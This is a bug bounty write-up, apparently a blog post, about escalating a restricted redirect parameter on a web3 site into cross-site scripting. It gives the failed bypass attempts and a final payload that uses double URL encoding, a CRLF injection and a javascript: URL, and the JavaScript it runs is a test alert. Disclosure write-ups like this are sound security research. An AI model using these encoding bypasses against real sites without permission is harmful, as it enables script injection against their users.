$1000 Bounty: How I scaled a Self-Redirect to an XSS in a web 3.0 system at Hackenproof
Hello everyone, in this article, I will share how I scaled from a self-redirect that redirected only to a link containing the host itself in the URL composition to a Cross-Site Scripting (XSS) attack.
Initially, I came across a link that performed redirections, but it was limited to URLs that contained the host itself at the end, such as “example.host.com”:
https://host.com/nl/redirect?url=https://example.com.host.com
After attempts to bypass using different ways of appending “.host.com” to the end of the URL, I was unsuccessful:
https://example.com?.host.com
-> Blockedhttps://example.com/.host.com
-> Blockedhttps://host.com.example.com
-> Blockedhttps://example.com;.host.com
-> ERR_INVALID_REDIRECT
As the redirect had an <a href=”example.host.com”> tag in the HTML body, I attempted to create an XSS payload. Initially, I tried something simple:
?url=javascript:alert(‘XSS’);.host.com -> Blocked
?url=javascript://alert(‘XSS’);.host.com”; -> Accepted, but in this structure, JavaScript produces an error.
So, I developed a more sophisticated payload:
?url=javascript://alert(‘XSS’);url=”.host.com”; -> Accepted
The system only accepted ://
after the protocol, so to increase complexity and overcome potential blocks, I attempted to craft a payload that executed JavaScript after two slash characters (//
):
javascript://%250Aalert(‘XSS’);url=”.host.com”;
Surprisingly, this payload was successful. However, it’s worth noting that the use of %250A
did not produce //0A
in the URL as expected. Instead, a CRLF injection occurred in the header, interrupting the redirection and displaying the web page without redirection.
So I thought about %250A
generating a CRLF (Carriage Return Line Feed), and then I concluded that %25250A
could induce %0A
in HTML. I tested the theory and confirmed its effectiveness. The developers performed two rounds of URL encoding decoding. Thus, the final payload looked like this:
javascript://%250A%25250Aalert(‘XSS’);url=”.host.com”;//CLICK+HERE
The Payload structure was configured as follows:
javascript://
: Protocol used.%25A0%25250A
: %25A0 creates a CRLF injection and this breaks the redirect, with%25250A
added to create a%0a
after the//
, resulting injavascript://%0a
.alert('XSS-erickfernando')
: JavaScript code to test execution.;url=".host.com"
: Creation of a variable to append ".host.com," bypassing the self-redirection criterion and preventing an execution error in the JavaScript structure.
The complete URL is composed of:
https://host.com/nl/redirect?url=javascript://%250A%25250Aalert('XSS-erickfernando');url=".host.com";//CLICK+HERE
In HTML it looked like this:
<a href=”javascript://%0aalert(‘XSS-erickfernandox’);url=’.host.com’;//CLICK+HERE”>
javascript://%0aalert(‘XSS-erickfernandox’);url=’.host.com’;//CLICK+HERE
</a>
Upon clicking the link, the JavaScript was executed.
… and I was rewarded with $1000 (USDT):
Thanks for reading!! :)